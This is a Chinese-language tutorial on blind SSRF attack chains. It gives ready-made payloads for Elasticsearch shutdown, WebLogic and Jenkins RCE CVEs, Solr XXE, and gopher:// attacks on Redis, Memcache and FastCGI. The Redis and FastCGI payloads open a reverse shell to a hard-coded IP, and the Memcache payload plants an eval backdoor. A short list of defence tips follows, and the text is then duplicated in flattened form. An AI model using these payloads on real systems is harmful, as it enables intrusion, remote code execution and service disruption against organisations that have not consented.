A Glossary of Blind SSRF Chains
字数 1472 2025-08-06 08:35:16

Blind SSRF Chains 攻击技术详解

1. 基本概念

1.1 SSRF (服务器端请求伪造)

SSRF (Server-Side Request Forgery) 是一种安全漏洞,攻击者能够诱使服务器代表其发送任意请求。由于请求是从服务器发出的,可以访问内部资源,在云环境中尤其危险,可能访问包含敏感凭据的元数据端点。

1.2 Blind SSRF

Blind SSRF 是指攻击者无法直接读取服务器响应的SSRF漏洞。这种情况下,需要通过其他方式验证漏洞的存在和影响。

2. 验证技术

2.1 SSRF Canary

SSRF Canary 是一种验证技术,通过请求一个内部URL,该URL会执行另一个SSRF并向攻击者的canary主机发送请求。如果收到请求,则证明成功访问了内部服务。

示例:

  • Confluence、Artifactory、Jenkins和JAMF等系统常被用作SSRF Canary

2.2 侧通道泄漏

即使无法直接读取响应,仍可能通过以下方式获取信息:

  1. 错误信息:

    • 是否返回了响应
    • 主机和端口是否可达
  2. 响应差异:

    • 状态码差异(200 OK vs 500 Internal Server Error)
    • 响应内容长度差异
    • 响应时间差异

3. 内部主机发现技术

3.1 DNS数据源和AltDNS

  • 使用DNS数据源找出指向内部主机的记录
  • 在云环境中,ELB常指向内部VPC中的主机
  • 使用AltDNS工具生成排列组合进行DNS暴力破解

示例:

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

4. 基于HTTP(s)的攻击技术

4.1 Elasticsearch (端口:9200)

  • 通常内部部署时不要求身份验证
  • 检查端点:
    /_cluster/health
    /_cat/indices
    /_cat/health
    
  • 关闭Elasticsearch实例(仅限1.6及以下版本):
    /_shutdown
    /_cluster/nodes/_master/_shutdown
    

4.2 Weblogic (端口:80,443,7001,8888)

SSRF Canary (CVE-2014-4210):

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test

CVE-2020-14883 (RCE):

POST /console/css/%252e%252e%252fconsole.portal
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

4.3 Apache Solr (端口:8983)

Shards参数SSRF:

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23

XXE漏洞:

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'>}

4.4 Jenkins (端口:80,443,8080,8888)

SSRF Canary (CVE-2018-1000600):

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE漏洞:

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

5. 基于Gopher协议的攻击技术

5.1 Redis (端口:6379)

计划任务RCE:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

5.2 Memcache (端口:11211)

vBulletin/GitHub Enterprise RCE:

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a

5.3 FastCGI (端口:9000)

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

6. 相关工具

6.1 Gopherus

  • 生成多种服务的Gopher payload
  • 支持MySQL、PostgreSQL、FastCGI、Redis、Zabbix、Memcache等

6.2 SSRF Proxy

  • 多线程HTTP代理服务器
  • 通过易受SSRF影响的HTTP服务器传输客户端HTTP流量

7. 防御建议

  1. 实施严格的输入验证和过滤
  2. 禁用不必要的URL协议(如gopher://, file://等)
  3. 使用白名单限制服务器可以访问的资源和域名
  4. 定期更新和修补易受攻击的中间件和应用程序
  5. 监控和记录所有出站请求

8. 总结

Blind SSRF攻击虽然无法直接获取响应,但通过SSRF Canary、侧通道泄漏等技术仍可验证漏洞存在。结合Gopher协议和其他技术,攻击者可以实现从SSRF到RCE的完整攻击链。防御方面需要多层防护,包括输入验证、协议限制和出站请求监控等。

Blind SSRF Chains 攻击技术详解 1. 基本概念 1.1 SSRF (服务器端请求伪造) SSRF (Server-Side Request Forgery) 是一种安全漏洞,攻击者能够诱使服务器代表其发送任意请求。由于请求是从服务器发出的,可以访问内部资源,在云环境中尤其危险,可能访问包含敏感凭据的元数据端点。 1.2 Blind SSRF Blind SSRF 是指攻击者无法直接读取服务器响应的SSRF漏洞。这种情况下,需要通过其他方式验证漏洞的存在和影响。 2. 验证技术 2.1 SSRF Canary SSRF Canary 是一种验证技术,通过请求一个内部URL,该URL会执行另一个SSRF并向攻击者的canary主机发送请求。如果收到请求,则证明成功访问了内部服务。 示例 : Confluence、Artifactory、Jenkins和JAMF等系统常被用作SSRF Canary 2.2 侧通道泄漏 即使无法直接读取响应,仍可能通过以下方式获取信息: 错误信息 : 是否返回了响应 主机和端口是否可达 响应差异 : 状态码差异(200 OK vs 500 Internal Server Error) 响应内容长度差异 响应时间差异 3. 内部主机发现技术 3.1 DNS数据源和AltDNS 使用DNS数据源找出指向内部主机的记录 在云环境中,ELB常指向内部VPC中的主机 使用AltDNS工具生成排列组合进行DNS暴力破解 示例 : 4. 基于HTTP(s)的攻击技术 4.1 Elasticsearch (端口:9200) 通常内部部署时不要求身份验证 检查端点: 关闭Elasticsearch实例(仅限1.6及以下版本): 4.2 Weblogic (端口:80,443,7001,8888) SSRF Canary (CVE-2014-4210) : CVE-2020-14883 (RCE) : 4.3 Apache Solr (端口:8983) Shards参数SSRF : XXE漏洞 : 4.4 Jenkins (端口:80,443,8080,8888) SSRF Canary (CVE-2018-1000600) : RCE漏洞 : 5. 基于Gopher协议的攻击技术 5.1 Redis (端口:6379) 计划任务RCE : 5.2 Memcache (端口:11211) vBulletin/GitHub Enterprise RCE : 5.3 FastCGI (端口:9000) 6. 相关工具 6.1 Gopherus 生成多种服务的Gopher payload 支持MySQL、PostgreSQL、FastCGI、Redis、Zabbix、Memcache等 6.2 SSRF Proxy 多线程HTTP代理服务器 通过易受SSRF影响的HTTP服务器传输客户端HTTP流量 7. 防御建议 实施严格的输入验证和过滤 禁用不必要的URL协议(如gopher://, file://等) 使用白名单限制服务器可以访问的资源和域名 定期更新和修补易受攻击的中间件和应用程序 监控和记录所有出站请求 8. 总结 Blind SSRF攻击虽然无法直接获取响应,但通过SSRF Canary、侧通道泄漏等技术仍可验证漏洞存在。结合Gopher协议和其他技术,攻击者可以实现从SSRF到RCE的完整攻击链。防御方面需要多层防护,包括输入验证、协议限制和出站请求监控等。